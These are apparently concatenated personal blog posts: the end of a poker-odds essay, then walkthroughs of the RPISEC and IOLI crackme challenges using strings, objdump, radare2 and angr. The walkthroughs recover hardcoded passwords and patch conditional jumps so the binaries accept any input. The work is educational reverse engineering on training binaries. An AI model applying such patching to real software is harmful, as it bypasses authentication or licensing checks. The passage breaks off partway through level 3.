give us 27$ (80$ divided by 3) on average.</p>
<p>What if we raise by 10$? <br />
Assume our opponent folds with a probability of 50% if we raise. We do
not know this probability but can infer it approximately by watching
him over many plays. To analyze this assume we are playing that
situation six times.</p>
<p>On average three times he will fold and we will win 100$. <br />
One time he will not fold and we will make the flush, thus winning 110$ (90 which were in the pot and 20 from the opponent). <br />
Two times he will not fold and we will not make the flush. So we lose 20$ per play.</p>
<p>Summing up we gain \(3\cdot 100$ + 110$ - 2\cdot 20$\). These are 370$. So
divided by six we see that we gain 61$ on average.</p>
<p>Thus we should better raise than call since calling only yields 27$ on
average.</p>
<h2 id="influencing-others-by-own-actions">Influencing others by own actions</h2>
<p>In poker the bets leak information. A player with good cards rather
raises or calls. He will not fold. This gives the other participants
information on which they will act. The betting patterns also leak
information. <br />
In trading a similar type of information leakage occurs. If a market
participant thinks a share is undervalued he will buy it. This will
show in the slippage, thus leaking information to the other market
participants who will act on the adjusted price.
In poker we also have imperfect information, but rather bet on the
estimated or perceived value of the cards instead of the perceived
value of some shares.</p>
<h2 id="do-not-play-every-hand">Do not play every hand</h2>
<p>There is a strong temptation to play too many cards. In fact in most
cases it is the best to directly fold. In the beginning it is only
about the small and big blind, so there is not much to gain anyway. In
fact, more hands should be played if the blinds are big or if there
are fewer players in the game.
Anyway, I think it is more of a psychological phenomenon. The thinking
goes “I will just take a quick peek at the flop and then I can fold”.
This thinking will cost you money.</p>
<h2 id="bluffing-is-overrated">Bluffing is overrated</h2>
<p>Many people think poker is mainly about bluffing. It is not. Bluffing
is only a small part of the repertoire of a poker player to make a
weak hand look strong. It is almost as important as making a strong
hand look weak. This is called slowplaying or check-raising, where you
check in the first round of bets, someone else bets and then you
raise. This deceives players to bet in the first round, since they do
not know that you have a big hand.<br />
So, one could say that poker is about deception and indeed it is
important to hide the strength of your hand. But that is not all. As
mentioned above, it is also about pot odds.</p>
<h2 id="poker-culture">Poker culture</h2>
<p>Poker players are one of the weirdest people on the planet. Perhaps it
is due to them being exposed to financial risks and learning how to
deal with it.
I have seen weird things. DDoS attacks on poker servers, even in the
small time I played. I watched poker players tilt and curse after
they went all-in. I have read chats about where the best hookers are
in Las Vegas, about people talking about traveling the world
while playing poker. These things are all somehow part of the poker
culture.</p>
Rpisec Mbe Crackmes
2017-04-09T00:00:00+00:00
https://hkopp.github.io/2017/04/rpisec-mbe-crackmes
<h2 id="introduction">Introduction</h2>
<p>In Spring 2015 there was a course called <a href="http://security.cs.rpi.edu/courses/binexp-spring2015/">Modern Binary Exploitation</a> at Rensselaer
Polytechnic Institute. This course was organized by the <a href="https://rpis.ec/">rpisec team</a>.
They published the course material, so anyone can look at them and
educate themselves.
In this post I am going to look at the crackme challenges which you
can find
<a href="http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/2/challenges.zip">here</a>
or on a <a href="http://hkopp.github.io/assets/rpisec-mbe-crackmes/challenges.zip">local mirror</a>.</p>
<h2 id="crackme0x00a">crackme0x00a</h2>
<p>The first crackme is fairly easy. We use the command <code class="language-plaintext highlighter-rouge">strings</code> to
look for ASCII-strings in the binary</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strings crackme0x00a
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
...
UWVS
[^_]
Enter password:
Congrats!
Wrong!
;*2$"
g00dJ0B!
GCC: (Ubuntu/Linaro 4.6.1-9ubuntu3) 4.6.1
.symtab
.strtab
...
</code></pre></div></div>
<p>The string g00dJ0B! looks suspicious. So let us try it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./crackme0x00a
Enter password: g00dJ0B!
Congrats!
</code></pre></div></div>
<h2 id="crackme0x00b">crackme0x00b</h2>
<p>This does not work so trivial anymore, but in the slides of the
lecture there is the tip to use a different encoding. After a little
bit of testing we come to the following result.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strings -e L crackme0x00b
w0wgreat
</code></pre></div></div>
<p>The switch -e specifies the encoding and L means 32-bit littleendian.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./crackme0x00b
Enter password: w0wgreat
Congrats!
</code></pre></div></div>
<p>Nice Challenge.</p>
<h2 id="crackme0x01">crackme0x01</h2>
<p>On to some oldschool command-line disassembling. The command <code class="language-plaintext highlighter-rouge">objdump</code>
displays various information about object files, like their
disassembly.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ objdump -d crackme0x01
...
080483e4 <main>:
80483e4: 55 push %ebp
80483e5: 89 e5 mov %esp,%ebp
80483e7: 83 ec 18 sub $0x18,%esp
80483ea: 83 e4 f0 and $0xfffffff0,%esp
80483ed: b8 00 00 00 00 mov $0x0,%eax
80483f2: 83 c0 0f add $0xf,%eax
80483f5: 83 c0 0f add $0xf,%eax
80483f8: c1 e8 04 shr $0x4,%eax
80483fb: c1 e0 04 shl $0x4,%eax
80483fe: 29 c4 sub %eax,%esp
8048400: c7 04 24 28 85 04 08 movl $0x8048528,(%esp)
8048407: e8 10 ff ff ff call 804831c <printf@plt>
804840c: c7 04 24 41 85 04 08 movl $0x8048541,(%esp)
8048413: e8 04 ff ff ff call 804831c <printf@plt>
8048418: 8d 45 fc lea -0x4(%ebp),%eax
804841b: 89 44 24 04 mov %eax,0x4(%esp)
804841f: c7 04 24 4c 85 04 08 movl $0x804854c,(%esp)
8048426: e8 e1 fe ff ff call 804830c <scanf@plt>
804842b: 81 7d fc 9a 14 00 00 cmpl $0x149a,-0x4(%ebp)
8048432: 74 0e je 8048442 <main+0x5e>
8048434: c7 04 24 4f 85 04 08 movl $0x804854f,(%esp)
804843b: e8 dc fe ff ff call 804831c <printf@plt>
8048440: eb 0c jmp 804844e <main+0x6a>
8048442: c7 04 24 62 85 04 08 movl $0x8048562,(%esp)
8048449: e8 ce fe ff ff call 804831c <printf@plt>
804844e: b8 00 00 00 00 mov $0x0,%eax
8048453: c9 leave
8048454: c3 ret
...
</code></pre></div></div>
<p>At the adress 804842b something on the stack is compared with 0x149a. Then
there is a jump if the values are equal (je). Let us compute this back
to hex and try it as a password.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo $((0x149a))
5274
$ ./crackme0x01
IOLI Crackme Level 0x01
Password: 5274
Password OK :)
</code></pre></div></div>
<p>Oh, it is the IOLI-crackme. We know them from a previous post already.
Interestingly the following crackmes of RPISEC are the other
IOLI-crackmes. So, we are done, since i have already covered them <a href="/2017/02/the-ioli-crackmes">in a
previous post</a>.</p>
The Ioli Crackmes
2017-02-19T00:00:00+00:00
https://hkopp.github.io/2017/02/the-ioli-crackmes
<h2 id="introduction">Introduction</h2>
<p>In this post we will take a look at the IOLI crackmes.
A crackme is a binary program which accepts input and mostly answers
the input is wrong. The task is to reverse engineer the binary to
learn the correct input. Another option is to modify the binary to
accept all inputs.</p>
<p>The IOLI crackmes are a popular set of 10 crackmes which can be downloaded
<a href="https://github.com/Maijin/Workshop2015/tree/master/IOLI-crackme">here</a>,
<a href="http://pof.eslack.org/tmp/IOLI-crackme.tar.gz">here</a>, or
<a href="https://dustri.org/b/files/IOLI-crackme.tar.gz">here</a>.</p>
<p>There are multiple solutions and tutorials flying around the web, but
if I only read that stuff, I am not going to learn it. Further, If I
do not write a blogpost about it, I have no pressure to work on them.</p>
<p>I am going to look exclusively at the linux binaries. The others should
be similar.</p>
<h2 id="level-0">Level 0</h2>
<p>First, let’s test the binary.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./crackme0x00
IOLI Crackme Level 0x00
Password: ABC
Invalid Password!
</code></pre></div></div>
<p>Just, like we expected. Let’s see if there are any interesting
printable strings in the binary.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ strings crackme0x00
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
printf
strcmp
scanf
_IO_stdin_used
__libc_start_main
GLIBC_2.0
PTRh
IOLI Crackme Level 0x00
Password:
250382
Invalid Password!
Password OK :)
GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)
...
</code></pre></div></div>
<p>Looks like it first prints with printf the string “IOLI Crackme Level
0x00” and “Password:”, then it
reads the input with scanf and compares something with strcmp.
Depending on the input it either writes “Invalid Password!” or
“Password OK :)”. But what does the number “250382” do? Turns out it
is the password.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ ./crackme0x00
IOLI Crackme Level 0x00
Password: 250382
Password OK :)
</code></pre></div></div>
<h2 id="level-1">Level 1</h2>
<p>Level 1 is more challenging. We start from the same position.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./crackme0x01
IOLI Crackme Level 0x01
Password: ABC
Invalid Password!
</code></pre></div></div>
<p>But this time strings only prints garbage.</p>
<h3 id="extracting-the-password">Extracting the Password</h3>
<p>We load the binary with
the binary analysis framework <a href="http://www.radare.org/">radare2</a> which
is one of the best binary analysis software out there. Forget gdb!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ radare2 crackme0x01
-- Don't do this.
[0x08048330]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
</code></pre></div></div>
<p>aa is short for analyze all…. Not really. But this is how I remember
it. aa is an alias for ‘af@@ sym.*;af@entry0;afva’.
If something in radare2 is unclear, you can write the command followed
by <code class="language-plaintext highlighter-rouge">?</code>. For example <code class="language-plaintext highlighter-rouge">aa?</code>. This shows a help text which is sometimes
understandable.
Next, we [p]rint the [d]isassembled [f]unction @sym.main</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x08048330]> pdf @sym.main
;-- main:
/ (fcn) sym.main 113
| sym.main ();
| ; var int local_4h @ ebp-0x4
| ; var int local_4h_2 @ esp+0x4
| ; DATA XREF from 0x08048347 (entry0)
| 0x080483e4 55 push ebp
| 0x080483e5 89e5 mov ebp, esp
| 0x080483e7 83ec18 sub esp, 0x18
| 0x080483ea 83e4f0 and esp, 0xfffffff0
| 0x080483ed b800000000 mov eax, 0
| 0x080483f2 83c00f add eax, 0xf
| 0x080483f5 83c00f add eax, 0xf
| 0x080483f8 c1e804 shr eax, 4
| 0x080483fb c1e004 shl eax, 4
| 0x080483fe 29c4 sub esp, eax
| 0x08048400 c70424288504. mov dword [esp], str.IOLI_Crackme_Level_0x01_n ; [0x8048528:4]=0x494c4f49 LEA str.IOLI_Crackme_Level_0x01_n ; "IOLI Crackme Level 0x01." @ 0x8048528
| 0x08048407 e810ffffff call sym.imp.printf
| 0x0804840c c70424418504. mov dword [esp], str.Password: ; [0x8048541:4]=0x73736150 LEA str.Password: ; "Password: " @ 0x8048541
| 0x08048413 e804ffffff call sym.imp.printf
| 0x08048418 8d45fc lea eax, [ebp - local_4h]
| 0x0804841b 89442404 mov dword [esp + local_4h_2], eax
| 0x0804841f c704244c8504. mov dword [esp], 0x804854c ; [0x804854c:4]=0x49006425 ; "%d"
| 0x08048426 e8e1feffff call sym.imp.scanf
| 0x0804842b 817dfc9a1400. cmp dword [ebp - local_4h], 0x149a ; [0x149a:4]=0x2ec0804
| ,=< 0x08048432 740e je 0x8048442
| | 0x08048434 c704244f8504. mov dword [esp], str.Invalid_Password__n ; [0x804854f:4]=0x61766e49 LEA str.Invalid_Password__n ; "Invalid Password!." @ 0x804854f
| | 0x0804843b e8dcfeffff call sym.imp.printf
| ,==< 0x08048440 eb0c jmp 0x804844e
| |`-> 0x08048442 c70424628504. mov dword [esp], str.Password_OK_:__n ; [0x8048562:4]=0x73736150 LEA str.Password_OK_:__n ; "Password OK :)." @ 0x8048562
| | 0x08048449 e8cefeffff call sym.imp.printf
| | ; JMP XREF from 0x08048440 (sym.main)
| `--> 0x0804844e b800000000 mov eax, 0
| 0x08048453 c9 leave
\ 0x08048454 c3 ret
</code></pre></div></div>
<p>We can see that something in compared (cmp) with 0x149a, and if the comparison was valid, we jump (je = jump if equal) over the block which prints “Invalid_Password” to the address 0x8048442. There is some code which prints “Password_OK”.
Maybe 0x149a is already the password. Let us convert this from hexadecimal to binary.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x0000149a]> ? 0x149a
5274 0x149a 012232 5.2K 0000:049a 5274 0001010010011010 5274.0 5274.000000f 5274.000000
</code></pre></div></div>
<p>And now test it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./crackme0x01
IOLI Crackme Level 0x01
Password: 5274
Password OK :)
</code></pre></div></div>
<p>Now we are officially done.</p>
<h3 id="binary-patching">Binary patching</h3>
<p>Since we are am curious, we want to patch the
binary such that it accepts all passwords. For this we need to change the jump
if equal instruction <code class="language-plaintext highlighter-rouge">je 0x8048442</code> into something which always jumps, i.e. a <code class="language-plaintext highlighter-rouge">jmp 0x8048442</code>.
<code class="language-plaintext highlighter-rouge">je 0x8048442</code> is 740e. A jump seems to start with eb and then the length. so we need to write eb0e instead of 740e.
We need to open the binary with writing enabled:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ radare2 -w crackme0x01
-- What has been executed cannot be unexecuted
</code></pre></div></div>
<p>V toggles into visual mode, where we can search with <code class="language-plaintext highlighter-rouge">/740e</code>
My syntax highlighting on the blog is not sophisticated enough to handle this,
so I just explain it. i goes into insert mode and then we can just write eb0e over 740e.
q exists the visual mode. Let us check if everything is correct.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x08048314]> pdf @sym.main
;-- main:
/ (fcn) sym.main 113
| sym.main ();
| ; var int local_4h @ ebp-0x4
| ; var int local_4h_2 @ esp+0x4
| ; DATA XREF from 0x08048347 (entry0)
| 0x080483e4 55 push ebp
| 0x080483e5 89e5 mov ebp, esp
| 0x080483e7 83ec18 sub esp, 0x18
| 0x080483ea 83e4f0 and esp, 0xfffffff0
| 0x080483ed b800000000 mov eax, 0
| 0x080483f2 83c00f add eax, 0xf
| 0x080483f5 83c00f add eax, 0xf
| 0x080483f8 c1e804 shr eax, 4
| 0x080483fb c1e004 shl eax, 4
| 0x080483fe 29c4 sub esp, eax
| 0x08048400 c70424288504. mov dword [esp], str.IOLI_Crackme_Level_0x01_n ; [0x8048528:4]=0x494c4f49 LEA str.IOLI_Crackme_Level_0x01_n ; "IOLI Crackme Level 0x01." @ 0x8048528
| 0x08048407 e810ffffff call sym.imp.printf
| 0x0804840c c70424418504. mov dword [esp], str.Password: ; [0x8048541:4]=0x73736150 LEA str.Password: ; "Password: " @ 0x8048541
| 0x08048413 e804ffffff call sym.imp.printf
| 0x08048418 8d45fc lea eax, [ebp - local_4h]
| 0x0804841b 89442404 mov dword [esp + local_4h_2], eax
| 0x0804841f c704244c8504. mov dword [esp], 0x804854c ; [0x804854c:4]=0x49006425 ; "%d"
| 0x08048426 e8e1feffff call sym.imp.scanf
| 0x0804842b 817dfc9a1400. cmp dword [ebp - local_4h], 0x149a ; [0x149a:4]=0x2ec0804
| ,=< 0x08048432 eb0e jmp 0x8048442
| | 0x08048434 c704244f8504. mov dword [esp], str.Invalid_Password__n ; [0x804854f:4]=0x61766e49 LEA str.Invalid_Password__n ; "Invalid Password!." @ 0x804854f
| | 0x0804843b e8dcfeffff call sym.imp.printf
| ,==< 0x08048440 eb0c jmp 0x804844e
| |`-> 0x08048442 c70424628504. mov dword [esp], str.Password_OK_:__n ; [0x8048562:4]=0x73736150 LEA str.Password_OK_:__n ; "Password OK :)." @ 0x8048562
| | 0x08048449 e8cefeffff call sym.imp.printf
| | ; JMP XREF from 0x08048440 (sym.main)
| `--> 0x0804844e b800000000 mov eax, 0
| 0x08048453 c9 leave
\ 0x08048454 c3 ret
</code></pre></div></div>
<p>The jumps seems to look okay.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ ./crackme0x01
IOLI Crackme Level 0x01
Password: ABCDEF
Password OK :)
</code></pre></div></div>
<p>Yep. done.</p>
<h2 id="level-2">Level 2</h2>
<p>Same game as before</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ ./crackme0x02
IOLI Crackme Level 0x02
Password: AAA
Invalid Password!
</code></pre></div></div>
<h3 id="binary-patching-1">Binary Patching</h3>
<p>We open it in Radare 2 and take a look.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ radare2 crackme0x02
-- Unk, unk, unk, unk
[0x08048330]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x08048330]> pdf @sym.main
;-- main:
/ (fcn) sym.main 144
| sym.main ();
| ; var int local_ch @ ebp-0xc
| ; var int local_8h @ ebp-0x8
| ; var int local_4h @ ebp-0x4
| ; var int local_4h_2 @ esp+0x4
| ; DATA XREF from 0x08048347 (entry0)
| 0x080483e4 55 push ebp
| 0x080483e5 89e5 mov ebp, esp
| 0x080483e7 83ec18 sub esp, 0x18
| 0x080483ea 83e4f0 and esp, 0xfffffff0
| 0x080483ed b800000000 mov eax, 0
| 0x080483f2 83c00f add eax, 0xf
| 0x080483f5 83c00f add eax, 0xf
| 0x080483f8 c1e804 shr eax, 4
| 0x080483fb c1e004 shl eax, 4
| 0x080483fe 29c4 sub esp, eax
| 0x08048400 c70424488504. mov dword [esp], str.IOLI_Crackme_Level_0x02_n ; [0x8048548:4]=0x494c4f49 LEA str.IOLI_Crackme_Level_0x02_n ; "IOLI Crackme Level 0x02." @ 0x8048548
| 0x08048407 e810ffffff call sym.imp.printf
| 0x0804840c c70424618504. mov dword [esp], str.Password: ; [0x8048561:4]=0x73736150 LEA str.Password: ; "Password: " @ 0x8048561
| 0x08048413 e804ffffff call sym.imp.printf
| 0x08048418 8d45fc lea eax, [ebp - local_4h]
| 0x0804841b 89442404 mov dword [esp + local_4h_2], eax
| 0x0804841f c704246c8504. mov dword [esp], 0x804856c ; [0x804856c:4]=0x50006425 ; "%d"
| 0x08048426 e8e1feffff call sym.imp.scanf
| 0x0804842b c745f85a0000. mov dword [ebp - local_8h], 0x5a ; 'Z'
| 0x08048432 c745f4ec0100. mov dword [ebp - local_ch], 0x1ec
| 0x08048439 8b55f4 mov edx, dword [ebp - local_ch]
| 0x0804843c 8d45f8 lea eax, [ebp - local_8h]
| 0x0804843f 0110 add dword [eax], edx
| 0x08048441 8b45f8 mov eax, dword [ebp - local_8h]
| 0x08048444 0faf45f8 imul eax, dword [ebp - local_8h]
| 0x08048448 8945f4 mov dword [ebp - local_ch], eax
| 0x0804844b 8b45fc mov eax, dword [ebp - local_4h]
| 0x0804844e 3b45f4 cmp eax, dword [ebp - local_ch]
| ,=< 0x08048451 750e jne 0x8048461
| | 0x08048453 c704246f8504. mov dword [esp], str.Password_OK_:__n ; [0x804856f:4]=0x73736150 LEA str.Password_OK_:__n ; "Password OK :)." @ 0x804856f
| | 0x0804845a e8bdfeffff call sym.imp.printf
| ,==< 0x0804845f eb0c jmp 0x804846d
| |`-> 0x08048461 c704247f8504. mov dword [esp], str.Invalid_Password__n ; [0x804857f:4]=0x61766e49 LEA str.Invalid_Password__n ; "Invalid Password!." @ 0x804857f
| | 0x08048468 e8affeffff call sym.imp.printf
| | ; JMP XREF from 0x0804845f (sym.main)
| `--> 0x0804846d b800000000 mov eax, 0
| 0x08048472 c9 leave
\ 0x08048473 c3 ret
</code></pre></div></div>
<p>There is a comparison <code class="language-plaintext highlighter-rouge">cmp eax, dword [ebp - local_ch]</code> and a conditional jump
(jne = jump if not equal). The jump takes us right over the block which prints
“Password_OK” to the “Invalid_Password”-section.
We do not want to jump, so we overwrite the JNE (750e) two NOP operations. A NOP is a
special operation which tells the processor to do nothing. So we do not have to
worry about the addresses changing. Interestingly the NOP operation has a real
purpose other than security exploits. Processors read data from memory in big
chunks and the NOP is used for alignment, such that one does not have to read
the previous block for the last few bytes.
The NOP operation in hexadecimal is 0x90 in x86 Assembly. It is useful to know
this by heart, instead of looking it up all the time. This instruction is used
quite often in binary exploitation.
Using the editor from radare 2 was covered in the last level, so I
just show you the ‘fixed’ binary. It may be interesting that one can
toggle into the disassembly from visual mode by pressing <code class="language-plaintext highlighter-rouge">A</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x08048451]> pdf @sym.main
;-- main:
/ (fcn) sym.main 144
| sym.main ();
| ; var int local_ch @ ebp-0xc
| ; var int local_8h @ ebp-0x8
| ; var int local_4h @ ebp-0x4
| ; var int local_4h_2 @ esp+0x4
| ; DATA XREF from 0x08048347 (entry0)
| 0x080483e4 55 push ebp
| 0x080483e5 89e5 mov ebp, esp
| 0x080483e7 83ec18 sub esp, 0x18
| 0x080483ea 83e4f0 and esp, 0xfffffff0
| 0x080483ed b800000000 mov eax, 0
| 0x080483f2 83c00f add eax, 0xf
| 0x080483f5 83c00f add eax, 0xf
| 0x080483f8 c1e804 shr eax, 4
| 0x080483fb c1e004 shl eax, 4
| 0x080483fe 29c4 sub esp, eax
| 0x08048400 c70424488504. mov dword [esp], str.IOLI_Crackme_Level_0x02_n ; [0x8048548:4]=0x494c4f49 LEA str.IOLI_Crackme_Level_0x02_n ; "IOLI Crackme Level 0x02." @ 0x8048548
| 0x08048407 e810ffffff call sym.imp.printf
| 0x0804840c c70424618504. mov dword [esp], str.Password: ; [0x8048561:4]=0x73736150 LEA str.Password: ; "Password: " @ 0x8048561
| 0x08048413 e804ffffff call sym.imp.printf
| 0x08048418 8d45fc lea eax, [ebp - local_4h]
| 0x0804841b 89442404 mov dword [esp + local_4h_2], eax
| 0x0804841f c704246c8504. mov dword [esp], 0x804856c ; [0x804856c:4]=0x50006425 ; "%d"
| 0x08048426 e8e1feffff call sym.imp.scanf
| 0x0804842b c745f85a0000. mov dword [ebp - local_8h], 0x5a ; 'Z'
| 0x08048432 c745f4ec0100. mov dword [ebp - local_ch], 0x1ec
| 0x08048439 8b55f4 mov edx, dword [ebp - local_ch]
| 0x0804843c 8d45f8 lea eax, [ebp - local_8h]
| 0x0804843f 0110 add dword [eax], edx
| 0x08048441 8b45f8 mov eax, dword [ebp - local_8h]
| 0x08048444 0faf45f8 imul eax, dword [ebp - local_8h]
| 0x08048448 8945f4 mov dword [ebp - local_ch], eax
| 0x0804844b 8b45fc mov eax, dword [ebp - local_4h]
| 0x0804844e 3b45f4 cmp eax, dword [ebp - local_ch]
| 0x08048451 90 nop
| 0x08048452 90 nop
| 0x08048453 c704246f8504. mov dword [esp], str.Password_OK_:__n ; [0x804856f:4]=0x73736150 LEA str.Password_OK_:__n ; "Password OK :)." @ 0x804856f
| 0x0804845a e8bdfeffff call sym.imp.printf
| ,=< 0x0804845f eb0c jmp 0x804846d
| | 0x08048461 c704247f8504. mov dword [esp], str.Invalid_Password__n ; [0x804857f:4]=0x61766e49 LEA str.Invalid_Password__n ; "Invalid Password!." @ 0x804857f
| | 0x08048468 e8affeffff call sym.imp.printf
| | ; JMP XREF from 0x0804845f (sym.main)
| `-> 0x0804846d b800000000 mov eax, 0
| 0x08048472 c9 leave
\ 0x08048473 c3 ret
</code></pre></div></div>
<p>Testing if it works.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./crackme0x02
IOLI Crackme Level 0x02
Password: ABCD
Password OK :)
</code></pre></div></div>
<p>Level up? Yeah, under normal circumstances yes. But we are curious
and want to know the password.</p>
<h3 id="extracting-the-password-by-concolic-execution">Extracting the password by concolic execution</h3>
<p>We could look at the disassembly really
hard or run it with some test-input and look at the registers. But we
are also lazy. So, let us look at concolic execution.</p>
<h4 id="how-it-works">How it works</h4>
<p>Symbolic execution is a technique for analyzing binaries where the
binary is executed symbolically.
Take the following program as an example.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if (x<4)
print "a"
else
print "b"
</code></pre></div></div>
<p>A concrete execution means that we execute the program with concrete
input, e.g. x=10 or x=1 or something like that.</p>
<p>Symbolic execution on the other hand executes all program paths with
symbolic variables. I.e., the execution comes to the comparison x<4
and separates the input space into x<4 and x>=4. Depending on these
equations we take the first or the second branch. After executing the
whole program, we have a bunch of equations which partition the input
space for each branch. We can now solve the equations with an SMT
solver to get the set of all concrete inputs such that we execute a
special branch.</p>
<p>For example in our case we want to find the input such that the branch
of the program is taken where it prints that we have found the correct
password.</p>
<p>Symbolic execution has a number of drawbacks, like path explosion,
weird behavior with loops, and problems when we encounter one-way
functions like hashes. So concolic execution was born. Concolic
execution is a little bit like symbolic execution, but for each branch
taken we remember a concrete instantiation of the variables. In fact,
there is more to it, but I did not quite get it.</p>
<h4 id="angr-me">Angr me!</h4>
<p>We use angr, which is a python framework for concolic execution. The
following steps are performed in an ipython environment, but could
also be written as a standalone program.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> a = angr.Project(''crackme0x02.org')
# Here we are loading the binary as a new project
> state = a.factory.entry_state()
# We store the entry state
> path = a.factory.path(state)
# We store the path beginning at the entry state
> pathgroup = a.factory.path_group(path)
# Later there will be multiple paths, so we use a pathgroup, which
# is just a set of paths
> pathgroup.step(until=lambda lpg: len(lpg.active) > 1)
# We walk through the binary until we reach a branch
# Then we print the two inputs
> pathgroup.active[0].state.posix.dumps(0)
'+000338724B'
> pathgroup.active[1].state.posix.dumps(0)
'-242422222\x04'
</code></pre></div></div>
<p>One of these inputs corresponds to the execution path where we get an
invalid password, the other corresponds to the valid password. Let us
just test them:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./crackme0x02
IOLI Crackme Level 0x02
Password: -242444422
Invalid Password!
$ ./crackme0x02
IOLI Crackme Level 0x02
Password: 338724
Password OK :)
</code></pre></div></div>
<p>Bingo. Now we are done with that level.</p>
<h2 id="level-3">Level 3</h2>
<p>I learned that I can start radare2 with the -A switch. This saves us the burden of having to type aa every time.
Up to now I have always included the whole output. This will change now, since most of it is irrelevant noise for us.
Let us look at the main method.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ r2 -A crackme0x03
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
-- Wait a moment ...
[0x08048360]> pdf @main
| 0x080484c0 c70424298604. mov dword [esp], str.Password: ; [0x8048629:4]=0x73736150 LEA str.Password: ; "Password: " @ 0x8048629
| 0x080484c7 e884feffff call sym.imp.printf
| 0x080484cc 8d45fc lea eax, [ebp - local_4h]
| 0x080484cf 89442404 mov dword [esp + local_4h_2], eax
| 0x080484d3 c70424348604. mov dword [esp], 0x8048634 ; [0x8048634:4]=0x6425 ; "%d"
| 0x080484da e851feffff call sym.imp.scanf
| 0x080484df c745f85a0000. mov dword [ebp - local_8h], 0x5a ; 'Z'
| 0x080484e6 c745f4ec0100. mov dword [ebp - local_ch], 0x1ec
| 0x080484ed 8b55f4 mov edx, dword [ebp - local_ch]
| 0x080484f0 8d45f8 lea eax, [ebp - local_8h]
| 0x080484f3 0110 add dword [eax], edx
| 0x080484f5 8b45f8 mov eax, dword [ebp - local_8h]
| 0x080484f8 0faf45f8 imul eax, dword [ebp - local_8h]
| 0x080484fc 8945f4 mov dword [ebp - local_ch], eax
| 0x080484ff 8b45f4 mov eax, dword [ebp - local_ch]
| 0x08048502 89442404 mov dword [esp + local_4h_2], eax
| 0x08048506 8b45fc mov eax, dword [ebp - local_4h]
| 0x08048509 890424 mov dword [esp], eax
| 0x0804850c e85dffffff call sym.test
| 0x08048511 b800000000 mov eax, 0
| 0x08048516 c9 leave
\ 0x08048517 c3 ret
</code></pre></div></div>
<p>We can see that the password request is printed, then some voodoo happens and
finally a function sym.test is called. This is the first Crackme of the
IOLI-Crackmes with more than one function. I wonder what sym.test does.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x08048360]> pdf @sym.test
/ (fcn) sym.test 42
| sym.test (int arg_8h, int arg_ch);
| ; arg int arg_8h @ ebp+0x8
| ; arg int arg_ch @ ebp+0xc
| ; CALL XREF from 0x0804850c (sym.main)
| 0x0804846e 55 push ebp
| 0x0804846f 89e5 mov ebp, esp
| 0x08048471 83ec08 sub esp, 8
| 0x08048474 8b4508 mov eax, dword [ebp + arg_8h] ; [0x8:4]=0
| 0x08048477 3b450c cmp eax, dword [ebp + arg_ch] ; [0xc:4]=0
| ,=< 0x0804847a 740e je 0x804848a
| | 0x0804847c c70424ec8504. mov dword [esp], str.Lqydolg_Sdvvzrug_ ; [0x80485ec:4]=0x6479714c LEA str.Lqydolg_Sdvvzrug_ ; "Lqydolg#Sdvvzrug$" @ 0x80485ec
| | 0x08048483 e88cffffff call sym.shift
| ,==< 0x08048488 eb0c jmp 0x8048496
| || ; JMP XREF from 0x0804847a (sym.test)
| |`-> 0x0804848a c70424fe8504. mov dword [esp], str.Sdvvzrug_RN______ ; [0x80485fe:4]=0x76766453 LEA str.Sdvvzrug_RN______ ; "Sdvvzrug#RN$$$#=," @ 0x80485fe
| | 0x08048491 e87effffff call sym.shift
| | ; JMP XREF from 0x08048488 (sym.test)
| `--> 0x08048496 c9 leave
\ 0x08048497 c3 ret
</code></pre></div></div>
<p>Like we could have expected sym.test does a test, namely a comparison. If eax
is equal to <code class="language-plaintext highlighter-rouge">dword [ebp + arg_ch]</code> we jump to <code class="language-plaintext highlighter-rouge">0x804848a</code>. Is this a good or a
bad jump? We could argue that this is the first jump, and stuff being equal is
a very rare condition. So we assume this jump is not often taken. We assume it
